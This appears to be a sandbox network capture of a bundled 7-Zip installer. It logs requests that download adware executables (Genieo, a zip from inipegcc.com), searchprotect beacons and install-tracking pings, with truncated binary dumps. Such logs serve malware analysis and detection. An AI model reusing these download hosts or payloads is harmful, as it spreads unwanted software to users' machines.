.0.30319..X-Powered-By: ASP.NET..Date: Sat, 14 Feb 2015 03:58:00 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 15191055e43ba835d0fead01ae8401
5c.cloudfront.net (CloudFront)..X-Amz-Cf-Id: m69jIiJTgfftkBzez9Dve6TLi
mocfL3plzWZcW3i3uYRsk65i3eDlQ==......


GET /21074.ashx?e=yhrBLBbZM9VXzPC13FVNqoxXl6h7wlThxIxKnrRLLMH8ln8Iap23/32Fnk7oJCBmfl0yK7ww8bTVome7UQCaFakViX/vEF9gCuWk0op3HznMlTjuIPCQ7TXvHUkMUSkH3bwyJuwJoGyeY/e3xqcYNzjbxIkPSG0LYXcJcN2x8HBWOvghCBTr/XvKbjUyzCCcFAL52sIXt4VzPv64An3FhwinQ51oFle v  E9wUGzGQCOQnLAYBihDz4pxZKLL7/a0RCgbXs/u1ilv6ykvr0VwgDjjE9zaqiibrawBNTcSO11gCewcGs9DXU3roAfrH04i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlQY4i7iGMzUQEtavtM6DVnqH3UQRU CYhTdrjW90rtT8fCNPMMZQVvw== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:58:17 GMT
X-Cache: Miss from cloudfront
Via: 1.1 15191055e43ba835d0fead01ae84015c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: WjGAhOxnVxduhV4K9vRBosOwvy3fqEIekF9a5Jor1HiALNvh5yP5OA==
HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/8.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Sat, 14 Feb 2015 03:58:17 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 15191055e43ba835d0fead01ae8401
5c.cloudfront.net (CloudFront)..X-Amz-Cf-Id: WjGAhOxnVxduhV4K9vRBosOwv
y3fqEIekF9a5Jor1HiALNvh5yP5OA==......


GET /21074.ashx?e=p9HAq5TtKa/HiNdSCLSbRwiu d pc45zQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3YigV0joIXtmtzUBSk3dy/yrfMepBGOKTbWl4 u9fR6HOh6M6OEG6W7xTD5wywOJP/u6z7Uinv/hnet2bNFIaB3rHUqT9uqiByETj4nts NO517CUeh0QiwTxIUcsgQ wQ1V8jD1/9CkaS32V9suMAqwzeR60aTHX2KqK8eF3pkIgGeUpHHIWiSSfRcuIfR0fUu0KI1IApgUwqc65TUDdv5q8anNpZS6ER2T7PbHKfVMzwh6 kBmZAm/6pH veTXixuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJeK7a1soWlgbXd/rihenux98u8yyRdRELOtzUBSk3dy/yrfMepBGOKTbWl4 u9fR6HwOiefr6X0TA== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:58:21 GMT
X-Cache: Miss from cloudfront
Via: 1.1 15191055e43ba835d0fead01ae84015c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: iB8g_nDuK-3ebFJy10cNmpSQ8rexr_mh93PunsdiMVx46A4fR43TJQ==
HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/8.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Sat, 14 Feb 2015 03:58:21 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 15191055e43ba835d0fead01ae8401
5c.cloudfront.net (CloudFront)..X-Amz-Cf-Id: iB8g_nDuK-3ebFJy10cNmpSQ8
rexr_mh93PunsdiMVx46A4fR43TJQ==..



GET /v4/searchprotect/267123711_198339_B48A115F?action=visit.heartbeat.smt&update0=ref,smt&update1=nation,us&update2=language,en&update3=version,4.0.1.1716 HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.
Host: xa.xingcloud.com


HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Sat, 14 Feb 2015 04:01:18 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
48..{"stats":"ok","time":"1.42 ms","message":"store 2 action and 4 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/1.6.2..Date: Sat, 14 Feb 201
5 04:01:18 GMT..Content-Type: text/html; charset=utf-8..Transfer-Encod
ing: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api-
version: v4..48..{"stats":"ok","time":"1.42 ms","message":"store 2 act
ion and 4 update "}..0..



GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1
Range: bytes=617755-
User-Agent: Better Installer(Mozilla)
Host: download.genieo.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
x-amz-id-2: 7g21E72I3VliPXHSYgtbHtrDvhBmkf/xRs8/kjCxniw5XHuctYoX0o09nEVOd74RINc/77Z5N24=
x-amz-request-id: 40B49BC2CB130467
Date: Sat, 14 Feb 2015 04:01:11 GMT
Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT
ETag: "d65611fbc4da8cea4e886076bec82d1e"
Accept-Ranges: bytes
Content-Range: bytes 617755-988407/988408
Content-Type: application/octet-stream
Content-Length: 370653
Server: AmazonS3
...m$......"4C..HA.e...P.V.9J.2.E...."X..!X...>.U.oL{$.!.......5..h
.9\...Ua.M.%....... .5.}[email protected].'...'..My.......3i.........e..SPNO.ka
..R...f...5Mm..............c....W..%z`..U........D.h]...\q.....vyr..2.
.$.[.8M..6...=.*..g...J. N-k....w........G....s......6.3?>...).>
D..J.^.c/.N....u.6.....s...{....L..n......:........'...,...^..mg...BO.
>..}H#..N.'.F...%.....p..#....t...zV.,.\9.......D...B...B.:.[.IYZ..
.c..^K..[(d....H.......FwD.......z..L....-.i(.......I.....x.*..s[.....
b.H0DR..<"......d..w.{..v%e.8n......6t..P..>VK.e...4...B(7...>
;.a....K..A...Z.%.x."...:O...!...".p`......t.....q..Z...".....t...s;."
.[h.#z..ZG....&A.(.....@..........}...?g..u(.M..[.dD..h.7C4HS......I.-
....'.....|O......X[.....2"6.lR..(......m_....f...........u...n....Y..
i.9.......5..5..<7 ...0.c...|.i..zHh8..B'.........B.~1..;....A.T.H.
.FT.....8.9L..i`,..t.!C...B.<..lQ..W...F[....|T\..o.f...e.....H.o..
..9U....p.ReW.z.wJ.....A.!.#.../0.......E..v...X.M.(.:p[...b9.{#N.....
0...%6..AsI....'.........9.H%}6.0..'.;..R5.........4.j.Vw..g..N$...q..
..........s.}.)........\.2..^P..f....UA.bQK...o.~B..D...F...W.....)L..
./.wL]>[email protected]^.x......&G.Z........G..2.WuO......&.....T.W..
.)(..D.e.........C .Bl.U{...hC..ml0.......x......3...............h|...
.d.0`3.6$l.)Q...e.....BPo|-..@..<,K.0t.....2g.o./4..(.q$.M..M..X(J}
..F.Y.%Z..9.'.n...WR.V.V..I:.S`..uA.(h9FN.c..X.........4..........kD..
....>7.6%..n..`.v..R..w.u:.n.......u5f.!K*....6:...tK..n...k.%...AJ
.".../..}p.g...3.2.m.[..6....g..F...C......G_..B]*..i.<PX./gMI.
<<< skipped >>>


GET /install.ashx?e=aonlVHCKlbVPNjxRBLtb40RRy RFgoZeHBKWDIV8zAnOo8fXRAOTcAWwrv9hreqncfgJCYrAwfjGDr5NwV0atd28MibsCaBsQXlxtBq2M/Wb87aptZLNDFA1P6i6ssaToXvV0ACP4NMVyaunraoeQQeRzm SyrO9PGH ugOdU1dJ9zwWOe4GWkqTRYdykYznQcOav1fvIInFToJxGXpok7Mp5a5JKLY8Zwk6Ivra9mA ljlEQKk7qP8ZX0e8f/wZaex k0lO1bRlHilhBCrHutCtLI2jnxFtO2YKgZHX2edYluIlhKckqejXQuHaKGTBrNY0MH32 Vpli0vhDt6hccxbZzrrWlFPRVquFz8IHIPiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmjpB9iJ5C2tEAebAnsXQ5mE= HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: dfb5uyoqjsg4c.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Length: 1320
Connection: keep-alive
Cache-Control: private,no-cache, no-store
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:57:58 GMT
X-Cache: Miss from cloudfront
Via: 1.1 f96185b1d69d6f85635bc2b5554da639.cloudfront.net (CloudFront)
X-Amz-Cf-Id: ZSGVXRsh0XnKDh5qLENtV80VyiXdgHaUYppSYRSUzW66sNf9W_K6fQ==
C.\.S...6....Cn.....~.....5. ..,....$1@.......,...~..]......~m...W0..(
O.G.....|[email protected]._...../5.Q.V!.......vhL....9.O '."..N...C..`..5)...ja.
k..#..ZQ...I......S./...G4a.4....;1 J......L..%B.2.4H..v.M./q.....o..@
I.E.]....~f5YDR.01\C/(.-.%[..........i.R.T...OI.} .c..O'C?...tUu5y...8
y%.f.D|p5...a.."...g...V.Y ug..4..|~._.\.}.Jb.=..\RZ-0..K.y....2....w.
."hO/.4..#...D6.]..........rv.z..u.6..y.c.(.s...4....X.yL./...s.\..].o
HV. L...1.......p..iq..l..u..........rv.z..u.j............PM....N.8F..
...K..[o..'.;..r..Y*.4....^.{...z...8...y...a.s.....\..,I.9!..MT{.6.w.
4....dT.wY...B.)dx....6...vhL....9.O '."..N...C..`..5)....%$....z....9
....>..T..e.37..Q/..._.....k....D....-........?.......C.......S..M.
6/7..U...j.............H3..E......vB.88.a....=.v'@..W8. ...x....1..8..
n.<..~..`.......dH~........5. .9y..`.".x.m.-.8b<..^[email protected].!3F .
4t.v.u.Z...8.......1..n.*U.<p....#z.W...o./.u..Ig*{8......u.Wk.iV.5
..#....g.C.y....b..'... |....f.%.H...R..t5..iV.h....8bc.....9....qc<
;......h...G..5j.)..l......A7.o. .Q...A...W.........rv.z..u.b.TD .](C.
=.q/"u......./...s.\......H...r.c.........Bv...?..^.$.o...{.k.K.....q@
,(..;.?...a(H#C$..C..R......G....z...8...y...a.s.....\..,I.9!.....E.8.
n..-..n..(K..H......`.O....,....K..-H....u..F.. .'A..~U.....C. .d.....
..B..._...$.&>p.0...5.L..'5.....-14w......< C.t^.c...C....4.=...
....v....,...
<<< skipped >>>


GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1
User-Agent: Better Installer(Mozilla)
Host: download.filesfrog.com
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: nginx
Date: Sat, 14 Feb 2015 04:01:11 GMT
Content-Type: application/octet-stream
Content-Length: 1110476
Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT
Connection: close
ETag: "507b83f7-10f1cc"
Accept-Ranges: bytes
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
.................... ...............................................s.
..........A...........................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
rc....A.......B...v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..
<<< skipped >>>


GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1
Range: bytes=247102-
User-Agent: Better Installer(Mozilla)
Host: download.genieo.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
x-amz-id-2:  yTqftHT1hHqBIT0TTL Fdo9iVl2MLSiPNfM65yaODZxdJonf7Ug340GGe9xZffN
x-amz-request-id: 3D1F3946AE541AE3
Date: Sat, 14 Feb 2015 03:58:20 GMT
Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT
ETag: "d65611fbc4da8cea4e886076bec82d1e"
Accept-Ranges: bytes
Content-Range: bytes 247102-988407/988408
Content-Type: application/octet-stream
Content-Length: 741306
Server: AmazonS3
-s...R.... .e.>7........... )..51.n4..@..)....ck.../.01-. Z?L....k.
...O..<2Ma....7..r.2....j....O.".A......dK..&G..Hj6.(.P....ZxVA.>
;...Sr.l:.86....6bq.....>.d-p~R{..jI.L..M. .8O....q..[..J4...T..l..
...m.......)e.C..A....I,cPy2|.."-...".M.O..v...=Q......|.......'..Z..I
}....Dw.....f.i...m.~.o..H'.j.....&.agE.`._`.>...[.:O...^4......3..
.7.{[email protected]...<......BY..4C.}..Qf.'(.....rRf?...q.=|....|....
[........E..Gu...oD2 ...E/....2$..k......o......E.. h.....s7..ouq...N.
.".o.....L.....%.8-...zG.._.|.B{.e(w.iy.....ALA.}.,.cf1%ZE-.U.....oa.F
.~|o.":,.N.s...N.^x....GT..(.!..oy'.N..?.L....7...)..f1nS.P.6....._v..
....._)S......`....qe0.d.DI............sq..su...{j..Y..'...;..6.{..@..
Os3p4T8.z...8....L.Q.F...H../...b...(..k._..z.a...f...0......}.......P
.|-.3.g...<.,w=P.tk_$..p..\,...K..*..........S.....l&..^C.q.J...OD.
..$..T..x...`........:Ea#"...fv....p.u.YWE.........m..E...CV....=sR...
=W.DC..jQ..o.74;9 .5y^.H&f.3..|X.......w. ..^./E...X..lC.|.hR.. ...._J
r..v...E..X~.D.Q.......5.>...A..v ...a~=..F ..{a"....yj F..].n.....
.=1H<.Z...n}.1.;.!7U3..........G..N...T......A.........m .....PcC\C
ek.w.........J.a....{*.>.u..]9.....2K.}.G@........$-H....=9....f&f.
.6l...M...u ..k.N).O..8J.~........i ..`5.........r..g`..../...E.....R.
..P......l$r.GTJ...\...v9..Y.D.!&e..aq...)%.'.[.....Pgx..../.PQ..yv..D
...#...m.|P!.l..s.$.q&=..d6T.jQ...]d....7c ...ll.s...X..`T.(Da.P..b..!
....A>..n."..H.....Rrc...C.T..J]Jx\*.....l...q2..q...R......?9..4l.
....F..3`{..x.`..d^.g............C..t.G.'xdA>y...m....m~..."..~
<<< skipped >>>


GET /video_accelerator/wizardtest/SMALLTEST.HTM?random=862233&mode=nolsp HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: test.youtubeaccelerator.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: text/html
Content-Encoding: gzip
Last-Modified: Mon, 21 Jul 2008 09:41:32 GMT
Accept-Ranges: bytes
ETag: "bfefaff515ebc81:0"
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:58:30 GMT
Content-Length: 167
.............`.I.%&/m.{.J.J..t...`[email protected]#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?".......~....O......7.O.........
....'_>.}. ..>..o.?...MF...HTTP/1.1 200 OK..Content-Type: text/h
tml..Content-Encoding: gzip..Last-Modified: Mon, 21 Jul 2008 09:41:32 
GMT..Accept-Ranges: bytes..ETag: "bfefaff515ebc81:0"..Vary: Accept-Enc
oding..Server: Microsoft-IIS/7.5..X-Powered-By: ASP.NET..Date: Sat, 14
 Feb 2015 03:58:30 GMT..Content-Length: 167...............`.I.%&/m.{.J
.J..t...`[email protected]#).*..eVe]f.@......{....{....;.N'...?\fd.l..J
...!....?~|.?".......~....O......7.O.............'_>.}. ..>..o.?
...MF.....



GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBQmECJms4f7i5EbxtN7NbzQCBwAdAQUUa8kJpz0aCJXgCYrO0ZiFXsezKUCE1oAAHevvgBk+xJc0C0AAQAAd68= HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: ocsp.msocsp.com


HTTP/1.1 200 OK
Date: Sat, 14 Feb 2015 04:00:26 GMT
Content-Type: application/ocsp-response
Content-Length: 1757
Connection: keep-alive
Set-Cookie: __cfduid=d4f35c2e039b01e90dfd95a2e95fb1fcb1423886426; expires=Sun, 14-Feb-16 04:00:26 GMT; path=/; domain=.msocsp.com; HttpOnly
Last-Modified: Wed, 11 Feb 2015 02:01:15 GMT
Expires: Sun, 15 Feb 2015 02:01:15 GMT
ETag: "536a920fba69f8540ab7b9ba0d359cef81b44d68"
Cache-Control: max-age=345599,public,no-transform,must-revalidate
CF-Cache-Status: HIT
Server: cloudflare-nginx
CF-RAY: 1b865bd2cdea0749-AMS
0..........0..... .....0......0...0..........<.|[email protected]|..2015
0211020115Z0..0..0L0... ........&."f........{5.....t..Q.$&..h"W.& ;Fb.
{.....Z..w...d..\.-....w.....20150211020115Z....20150215020115Z."0 0..
. .....0......20140211020115Z0...*.H.............M.....w<..>.xY.
T.\1.F.... T...^....X,....u....v.Ci..........Y..zS..N.~TP....:a.....O.
.Z.\e$v...Ys.f..,...w.).#.....;..~K.P..bv.........`.}V......._2L%.{P..
.......{.... ...P.P..... >.d@4rsL..|J.U-.}d..V.M..h.... d..\...."..
.E$Y3J|....J\....].g..w...J......7....0...0...0..........Z..~..M..<
ZYJ....~.0...*.H........0..1.0...U....US1.0...U....Washington1.0...U..
..Redmond1.0...U....Microsoft Corporation1.0...U....Microsoft IT1.0...
U....Microsoft IT SSL SHA20...141229205745Z..150314205745Z0!1.0...U...
.Should be ignore by CA0.."0...*.H.............0...........&!(..$.K...
."=f....x.d.._s.....j....9`..l.Z..............^f..u......-e.&.bG.(i.Q.
..........bEy...^7A...A..c....CF-&...e.7..7F....."..w...y.:..`.w{~..D.
x*.......x3Os......q...... S.fB .ig.....L..3......4E..}..7...M....e ..
.6.M.O.....<5:......r.....]..A.5........0..0...U..........<.|7..
[email protected]|0...U.#..0...Q.$&..h"W.& ;Fb.{...0...U...........0...U.%..0.
.. .......0... .....7....0.0... .......0... .....0......0...*.H.......
...........sa....^`.U.h.....(c[..j.|. ..#....3.5.?..L.....Z....J......
*.w...w.$.z..Y.d.....l.....G#.....o.\t.......(.B =..P..T....0./P.....z
.3....L.O3....z...Wxo..~.OeH....c.i.@."..?d.......=v(.....m..LN..PP...
.<.}T.X......K.&e.S...|....% ...(F.=k..~.j..C......4.....c...._
<<< skipped >>>


GET /infv3/index/2606/3rd/6.3.76.1518/37f90e7172ce364049fd177205bf4b1d HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.inipegcc.com
Connection: Keep-Alive


HTTP/1.1 302 Moved Temporarily
Server: nginx
Date: Sat, 14 Feb 2015 04:00:42 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.2.14p1
Location: hXXp://VVV.inipegcc.com/files/zip_r3/2606_ecd79b66f49d1d1c707187ca5bffb0b3/2.zip
0......


GET /files/zip_r3/2606_ecd79b66f49d1d1c707187ca5bffb0b3/2.zip HTTP/1.1


Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.inipegcc.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Sat, 14 Feb 2015 04:00:43 GMT
Content-Type: application/zip
Content-Length: 482458
Last-Modified: Fri, 13 Feb 2015 02:23:20 GMT
Connection: keep-alive
Accept-Ranges: bytes
PK..........LF|W..............422.db.....h.7*.iP@...<..A#.<y....
\Y...7a.....V0YKW.zx....(....N.J8...t.J.-Q..C$....G.!;Q`....;..lOJ?...
.......\C..D2..^..^.Y.m.......N..(1...p1...b. 0.....\D...g\.q...}...@6
W.6........U.\a.....hh...;.....]......K.V.....uj.;y9e.".9R...j.T)....X
.i.F2v...q|.".2..V`:FBz........hCX3gOXzPK..........CF.1..T....n......w
pm_v20.0.0.1714_0204.exe..Sp,..?~...m........b..m..m.v....|.v.z~..9. .
..g....~.........k9.y....^,..v..f'F....]..... /.y7*....5Q...Zh?j...5Nd
...P,.'.q.N.......V..A.A........bQ.G.e.....?......../.]R..Mf%.q......g
.0...... .yIH.r.......y...>I_..........T...VY..%QRE._....(......-j.
.K.Dv........4....N...z...".K.I.;..$i..........$!3.. .i.!..-.......jy?
....g.&...F.LZ9.W.4......y...E...Et.<00.<.d..V..o..5...-?..(....
...B..4.wn...1^.w...V.*.w..s....?c....#5....!J..[85T.u%...........dW5;
!*.....zQY....8X....c...J.P/........oUh.n.t..'.*d..?.].p/.......O-..y.
.[Q |...Xv~.....,...........u..^.Ve.V.l../.2..ef....G(HR.....a....... 
..T{}x.....w.-T...........2...a.I.rE...a....z........i...]..>N./...
.a.......9.......i..}t.w.s^.....w..=.gP.......I.?...HM.....}n..a......
...Y-.'/|.zq{.B..s.l.....:...........E......2.F..]_.!^.i^.......u....k
_.../.qj.. 7.K.[.^?..p|.rx)...^p.C................t*....:H....m..0,..9
P.,x"^D..>....(..j.......y......-....".1e@....!.b..h.tV.X...D..... 
...MB.....wf..O......r.....NBE..3....&.3.#...]....%.`.&5{Q..R z.z..\{.
h....G.\e^_......z....r.HO~K..'9|....z.s..S..d. ...2.D^.."..U_.4..l^.V
.}A...K..v......B .P....wJ.3{-...3"......w%.[..:)..s..U..f.B..n\.G
<<< skipped >>>


GET /mstag/mstag.1003102000.js HTTP/1.1
Accept: application/javascript, */*;q=0.8
Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,aad59c11-71bf-4fd1-8fcf-4ed6f2e4aee0,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=75&BundleID=NONE
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Accept-Encoding: gzip, deflate
Host: flex.msn.com
DNT: 1
Connection: Keep-Alive
Cookie: mh=MSFT; CC=UA; CULTURE=EN-US; SRCHD=SM=1&MS=3093912&D=3093912&AF=NOFORM; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20131118; MC1=V=3&GUID=373863f57d114b0289364f6434076125; brdSample=0; MUID=1785AC2FD94664211AC0A9A6DD466620; cbus=subint:1:138479115


HTTP/1.1 200 OK
Cache-Control: max-age=86400
Content-Type: application/javascript
Content-Encoding: gzip
Last-Modified: Wed, 29 Oct 2014 21:30:02 GMT
Accept-Ranges: bytes
ETag: "069797fbff3cf1:0"
Vary: Accept-Encoding
Server: Microsoft-IIS/8.0
Date: Sat, 14 Feb 2015 04:01:21 GMT
Connection: close
Content-Length: 1956
...........Xm..... :LG&.8J:.MB.N.$N........Y.@$(....@....{....vM>H$
v.],......."...qw<qr...g.]e,v.S.(.......P........t:Eao.j.H..Y...A(.
3wx%N.....b..f...9.......W...).J....3...j..xQn.........:!.,"..*.EY....
Ct........X......$.)G....:...,..Q......\...|...s.%.b.K...Q..7w.r...t..
{.I..e .....1._9..3.....Fx%...i.U..9.))....*._K&..Y.p.Y.*.*)E...I_f...
]S.#..TE.......c..0..u..M.!...q.0..s....G9Y:...wK.....^.kZf..g1`)Z...R
c........A..A.Q/>M....ee..............Z^. ..|[email protected],..2..%.c
........,.,...c...?..-/.r G...Q..d...?..-.!......i.....3....{..[..H.|.
........b.4..kH...t....A.!.y..v.. .:..uuu..VC.....^..2.>....M.oQ.W.
.V.4....u.....d(l.."':......V .b..e0....{....0...9Y.Q........b.~s....Z
...2..:.....2....'T.(......L.r..H0V.[...C..k.)..T....J.#.T.i...Ve..G..
...N.i.n<[email protected]..!.(..F...L..J.......3..x.....U.w
>.S..`..4.4}S.h.....1._.k[[email protected].>.e.eKa...Q..m.....\6.~.
.(x....9.....r..F.....M...)n%..84W...6..?..X..>........xC..oL....s.
......... ...w...$!...,......l.........$..fH....K.S.;.A$....{... ...e.
....$..P....C.....:....s.|...,.(3..k2#...o...g!..q...'.m.....R((-..N.w
 .....!a.J.4... ML.x$....`Z...tj...{..'..[.2.n.;[email protected] ..6...`.....m.
....H=U..P.....H_ O[[email protected]/.Q........p.C..GG..>..>..Q;3\.7...
.yk..Y.)..{.........H`..{.1.rPc.5.|..t..S. ra. .....0......c.S~...]..6
.....f....X....A.a.a..A.c;..3....<[...y.v...N....^R.r ..Z&.u.=.._.2
u...*p.=..\h.....a.!m.........g.&..d.).t`...H........>....U...u....
.......JC.....l-..8w..p{..k...\.......s..@.$1G2....l.spb.,.Q...3.`
<<< skipped >>>


GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1
User-Agent: Better Installer(Mozilla)
Host: download.genieo.com
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: K ZKP8Rn61T5cI7DCk bUnAQ7PE QXsGF6m4JlIncKmHxKMHumIdUJxzNakBOjL1I6AiaWUzVcc=
x-amz-request-id: 17E6EA26E83830DC
Date: Sat, 14 Feb 2015 04:01:10 GMT
Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT
ETag: "d65611fbc4da8cea4e886076bec82d1e"
Accept-Ranges: bytes
Content-Type: application/octet-stream
Content-Length: 988408
Server: AmazonS3
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
.........P...............`............................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
rc...P............v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..
<<< skipped >>>


GET /__utm.gif?utmwv=5.6.3&utms=2&utmn=1176096904&utmhn=installer.filebulldog.com&utmhid=311055109&utmr=-&utmp=Offer_Accepted&utmht=1423886401533&utmac=UA-31676879-1&utmcc=__utma=1.1353110465.1423886295.1423886295.1423886295.1;+__utmz=1.1423886295.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=&utmu=qhCAAgAAAAABAAAAAAAAAAAE~ HTTP/1.1
Accept: */*
Referer: hXXp://installer.filebulldog.com/awat7zip54650/7zip/236762cce52fe54e8735a3807f6f1de4?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.google-analytics.com
Connection: Keep-Alive

GET /__utm.gif?utmwv=5.6.3&utms=4&utmn=1164922637&utmhn=installer.filebulldog.com&utme=8(sp_slug)9(mystartsearch)&utmhid=311055109&utmr=-&utmp=Install_Complete&utmht=1423886465769&utmac=UA-31676879-1&utmcc=__utma=1.1353110465.1423886295.1423886295.1423886295.1;+__utmz=1.1423886295.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=&utmu=qxCAAgAAAAABAAAAAAAAAAAE~ HTTP/1.1
Accept: */*
Referer: hXXp://installer.filebulldog.com/awat7zip54650/7zip/236762cce52fe54e8735a3807f6f1de4?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .
HTTP/1.1 200 OK
Pragma: no-cache
Expires: Wed, 19 Apr 2000 11:43:00 GMT
Last-Modified: Wed, 21 Jan 2004 19:51:30 GMT
X-Content-Type-Options: nosniff
Content-Type: image/gif
Date: Wed, 04 Feb 2015 20:01:19 GMT
Server: Golfe2
